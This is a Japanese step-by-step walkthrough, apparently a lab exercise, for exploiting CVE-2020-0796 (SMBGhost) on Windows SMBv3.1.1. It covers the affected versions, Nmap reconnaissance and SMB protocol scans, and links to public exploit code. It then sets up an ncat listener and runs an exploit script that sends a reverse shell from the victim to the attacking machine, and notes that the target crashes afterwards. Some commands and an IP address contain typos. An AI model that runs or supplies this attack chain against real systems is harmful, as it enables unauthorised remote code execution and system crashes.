
CVE-2020-0796 (SMBGhost) の概念実証エクスプロイト。Windows 10/Server SMBv3.1.1 を標的とします。Nmap による偵察、脆弱性スキャン、リバースシェルペイロードの配信を含みます。
**- 影響を受けるバージョン*
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)

Nmapを起動してDMZゾーンのネットワーク範囲をスキャン
map -sS 192.168.116.0/24
nmap: ネットワークスキャンプログラムの名前。.
-sS: TCP SYNスキャン方式を選択します。このスキャンでは、NmapはターゲットホストにSYNパケットを送信し、応答を監視します。ターゲットホストがSYN-ACKパケットで応答した場合、Nmapはそのポートが開いていることを認識します。ターゲットホストがRSTパケットで応答した場合、そのポートは閉じています。
-192.168.116.0/24: スキャンする特定のIPアドレスまたはIPアドレス範囲。この場合、アドレス範囲は192.168.116.0/24であり、192.168.116.1から192.168.116.254までのすべてのIPアドレスを表します。

=> 被害マシン192.116.145のIPアドレスがポート445を開いていることが確認されました。
· 被害マシンの脆弱性をスキャンするためにNmapを使用
map -p445 –script smb-protocols 192.168.116.145
nmap: ネットワークスキャンプログラムの名前。
-p445: スキャンする特定のポート(この場合はポート445)を指定します。ポート445は通常、Windowsシステム上のSMB(Server Message Block)サービスとの通信に使用されます。
--script smb-protocols: smb-protocolsスクリプトを選択してスキャンを実行します。このスクリプトは、ターゲットホストでサポートされているSMBプロトコルバージョンに関する情報をチェックして表示します。
192.168.116.145: スキャンするホストのIPアドレス。この場合、IPアドレスは192.168.116.145に設定されています。

smb-protocolsの結果、被害マシンはSMBv3.1.1の脆弱性が存在する可能性があり、悪用可能であることが示されました。
さらに確実にするために、Pythonスクリプトを実行してCVE-2020-0796脆弱性の悪用可能性を確認します。
[]: -https://github.com/ly4k/SMBGhost "エクスプロイトコード"

=> 結果 Vulnerable -> 被害マシンにCVE-2020-0796の脆弱性が悪用可能であることが検出されました。
リバースシェル攻撃の実行
ncat -lvp 4444
[]: https://github.com/jamf/CVE-2020-0796-RCE-POC "エクスプロイトコード"
python SMBleedingGhost.py 192.168.116.145 192.168.44.3 4444

=> 結果: 攻撃マシンが被害マシン上でシェルコードの実行権限を取得しました。

接続に成功すると、攻撃者は被害マシン上でセッション内のユーザーの権限で任意のコードを悪用して実行できるようになります。
セッション終了時、被害マシンがブルースクリーンエラーを起こし、自動的に再起動します。

*悪用の実行は、対象システムの破損につながる可能性があります*